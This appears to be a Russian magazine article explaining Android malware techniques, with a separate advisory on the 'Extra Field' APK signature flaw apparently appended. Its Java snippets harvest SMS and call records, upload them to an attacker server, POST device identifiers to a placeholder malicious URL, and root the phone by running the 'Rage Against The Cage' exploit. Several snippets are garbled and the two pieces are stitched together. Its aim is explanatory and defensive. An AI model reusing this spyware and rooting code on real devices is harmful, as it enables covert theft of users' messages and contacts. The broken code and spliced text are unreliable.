SMS зараженных юзеров особенно ценны номерами телефонов отправителей и получателей - ими можно пополнить базу для спам-рассылок. Реже вирусы такого рода используются для заражения устройств конкретных личностей - в следующий раз, когда твоя девушка предложит тебе протестировать написанное ей (ай, карамба! - Прим. ред.) приложение на Android, не теряй бдительности:).

// Считаем количество SMS на устройстве arrayOfObject = (Object)localBundle.get("pdus"); int j=arrayOfObject.length; // Обходим по циклу каждую SMS i=1 while (true) { if(i>=j) break; // Создаем объект SMS-сообщение SmsMessage localSmsMessage=SmsMessage.createFrompdu((byte)arrayOfObject[i]); // Кладем в строковые переменные номер отправителя, текст и время отправки SMS String MessageNumber = localSmsMessage.getOriginatingAddress(); String MessageText = localSmsMessage.getDisplayMessageBody(); long l= localSmsMessage.getTimestampMillis(); Date localDate=new Date(l); String MessageTimeDate = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(localDate); // Формируем из полученных данных строку и записываем ее в текстовый файл пользовательским методом WriteRec String MessageInfo= 7MessageNumber+"#"+ MessageText+"#"+ MessageTimeDate+";" WriteRec(paramContext,"sms.txt",MessageInfo); // Переходим к следующему сообщению i+=1; } Также спам-лист удобно пополнять из истории вызовов абонента. Вот такой код может запускаться при входящем звонке: If (parmIntent.getAction().equals("android.intent.action.NEW_OUTGOING_CALL")) { // Кладем в переменную номер абонента String phonenumber=paramIntent.getStringExtra("android.intent.extra.PHONE_NUMBER"); // Формируем строку из номера и даты звонка String PhoneCallRecord= phonenumber +"#"+getSystemTime(); // Вызываем метод WriteRec() (его код здесь не приводится), который добавляет строку в текстовый файл с историей звонков WriteRec(paramContext,"phonecall.txt", PhoneCallRecord); }

После того как информация записана, она переправляется в «нужные руки». Приведенный ниже код загружает историю звонков на сервер:

Private void uploadPhonecallHistory() throws IDException { while(true) { return; // Проверяем, есть ли нужный нам файл if(!fileIsExists(/data/data/spyapp.pg/files/phonecall.txt")) continue; // Создаем объект - загрузчик файлов UploadFiles localUploadFiles=new UploadFiles(); String uploadkeynode=getKeyNode("uid","uid_v"); // Запускаем метод.advanceduploadfile (его код здесь не приводится) для загрузки файла на сервер «вирусмейкера» localUploadFiles.advanceduploadfile(uploadkeynode,"/data/data/spyapp.pg/files/phonecall.txt"); } }

Сбор информации

Кто использует:

• DroidKungFu;
• DroidDream;
• подавляющее большинство малвари всех аналогичных.

В принципе, любому вирусмейкеру полезна информация о зараженных его программами устройствах. Получить ее очень просто. Создается массив с данными о свойствах телефона (их полный список можно посмотреть в руководстве Android-разработчика) и отправляется POST-запросом к PHP-скрипту (язык непринципиален) на сервере злоумышленника, тот обрабатывает данные и помещает их в базу данных для последующего использования.

Private void reportState(int paramInt, string paramString) { // Создаем массив и кладем в него служебную информацию ArrayList UserInformation=new ArrayList(); UserInformation.add(new BasicNameValuePair("imei", this.mImei)); UserInformation.add(new BasicNameValuePair("taskid", this.mTaskId)); UserInformation.add(new BasicNameValuePair("state", Integer.toString(paramInt))); // Если у функции определен параметр «paramString(комментарий)», кладем в массив и его if(paramStrng !=null)&&(!"".equals(paramString))) UserInformation.add(new BasicNameValuePair("comment", paramString)); // Создаем HTTP POST запрос с адресом скрипта, который осуществляет сбор данных HttpPost localHttpPost = new HttpPost("http://search.virusxxxdomain.com:8511/search/rtpy.php"); try { // Добавляем в запрос наш массив с данными и выполняем его с помощью стандартного HTTP-клиента localHttpPost.setEntity(new UrlEncodeFormEntity(UserInformation, "UTF-8"))); new DefaultHttpClient().execute(localHttpPost).getStatusLine.getStatusCode(); return; } }

Рутинг

Кто использует:

• DroidKungFu;
• DroidDream;
• RootSmart.

Одна из самых неприятных вещей, которая может произойти с Android-устройством, - это его рутинг вирусом. Ведь после этого зловредная программа может делать с ним что угодно: устанавливать другие вирусы, менять настройки аппаратного обеспечения. Совершается это действо путем последовательного запуска эксплойтов:

Private void RootFunc() { ApplicationInfo localApplicationInfo =getApplicationInfo(); /*"ratc" - это копия знаменитого root-эксплойта Rage Against The Cage. Kiall - остановка всех процессов, запущенных текущим приложением. Gjsvro - эксплойт для приобретения прав udev (используются в Linux-системах для расширенной работы с аппаратным обеспечением и сетевыми интерфейсами). Все это копируем в нужное место */ Utils.copyAssets(this,"ratc","/data/data"+localApplicationInfo.packageName + "/ratc"); Utils.copyAssets(this,"killall","/data/data"+localApplicationInfo.packageName + "/killall"); Utils.copyAssets(this,"gjsvro","/data/data"+localApplicationInfo.packageName + "/gjsvro"); //И запускаем с помощью командной строки Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/ratc"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/killall"); Utils.oldrun("/system/bin/chmod", "4755 /data/data"+localApplicationInfo.packageName + "/gjsvro"); new MyTread.start(); }

Сайты о мобильной малвари

Блог экспертов компании Kasperskiy Lab Этот ресурс содержит качественные и подробные статьи о многих аспектах компьютерной безопасности, в том числе и об Android-вирусах. Стоит регулярно посещать этот сайт, чтобы быть в курсе последних событий.

Группа посвящена open source инструменту для всевозможных манипуляций с кодом Android-приложений (декомпиляция и модификация DEX/ODEX/APK файлов и так далее). Androguard также содержит обширную базу статей про вирусы. Помимо кратких обзоров функционала и методов защиты, встречаются подробные анализы кода малвари.

Раздел Mobile Threats на www.fortiguard.com Энциклопедии телефонных вирусов. Каждая статья - обзор функционала, приправленный значительным количеством технических деталей. Помимо информации об угрозах для операционной системы Android, есть статьи и про вирусы для Symbian OS, iOS и других платформ.

Защита от вирусов

Некоторые пользователи считают, что если скачивать приложения исключительно из Google Play и установить на смартфон антивирус, то это стопроцентно гарантирует безопасность. Не стоит обольщаться: в Сети регулярно появляются сообщения о нахождении малвари в официальном маркете. А количество вновь появившихся зловредных программ измеряется сотнями тысяч в месяц, что затрудняет их своевременное попадание в базы антивирусных программ. Реальную гарантию безопасности может дать ручной просмотр кода APK-файла перед установкой его на телефон. Не нужно быть гуру кодинга, чтобы заметить вредоносные фрагменты. А наша статья поможет тебе в этом.

Заключение

Как мы видим из примеров, мобильный вирмейкинг технологической сложностью не отличается. Конечно, данные примеры упрощены под формат журнала - прежде всего, упущены обработчики ошибок и исключений, а также отдельные технические мелочи, отсутствие которых не помешает тебе понять принципы работы Android-малвари, но оградит от ненужных экспериментов. Ведь мы не поддерживаем создание вирусов, не так ли? 🙂

Extra Field - это уязвимость в Google Android, позволяющая злоумышленникам изменять содержимое установочного пакета любого приложения для этой ОС, не повредив его цифровую подпись. При помощи данной уязвимости вирусописатели могут распространять троянские программы, внедрив вредоносный компонент в какое-либо легитимное или доверенное приложение.

Антивирус Dr.Web для Android не может ликвидировать данную уязвимость, поскольку она обнаруживается на уровне самой операционной системы, однако успешно определяет и удаляет распространяющиеся с ее помощью вредоносные программы еще при попытке их проникновения и запуска на защищаемом устройстве.

Технические подробности

Дистрибутивы приложений для операционной системы Google Android распространяются в виде.APK-файлов, представляющих собой ZIP-архив, в котором содержатся все необходимые для работы приложения компоненты. В процессе установки программы они извлекаются из архива и их контрольные суммы проверяются по специальному списку. Каждое приложение имеет свою цифровую подпись.

Используя уязвимость Extra Field , злоумышленники могут изменить структуру APK-архива: при добавлении в его служебное поле значения одного из оригинальных компонентов программы (в частности, файла classes.dex) без трех первых байт с одновременным размещением на его месте модифицированной версии этого файла, последняя воспринимается операционной системой как легитимная и допускается к установке. Несмотря на то, что потенциальное использование этой уязвимости ограничено размером dex-файла, который должен составлять не более 65 533 байт, заинтересованные в атаке киберпреступники вполне могут без труда ей воспользоваться, взяв за основу безобидную программу или игру, имеющую компонент соответствующего размера.

Файл classes.dex содержит скомпилированный код приложения внутри APK-файла. Заголовок APK-пакета включает некоторое пространство, в котором хранится имя файла с расширением.dex, а также поле, называемым extra field, в котором хранится само содержимое файла classes.dex и список используемых приложением классов. Если поле заголовка сокращается на три байта, меняется значение длины соответствующего поля, что позволяет злоумышленникам включить в extra field оригинальный classes.dex, а также вредоносную копию данного файла, часть которого также будет размещаться в extra field. Видоизмененное поле может содержать созданные злоумышленниками классы, несущие вредоносную функциональную нагрузку. При установке приложения операционная система читает содержимое данного поля, в результате чего на атакуемое устройство устанавливается модифицированный злоумышленниками файл classes.dex.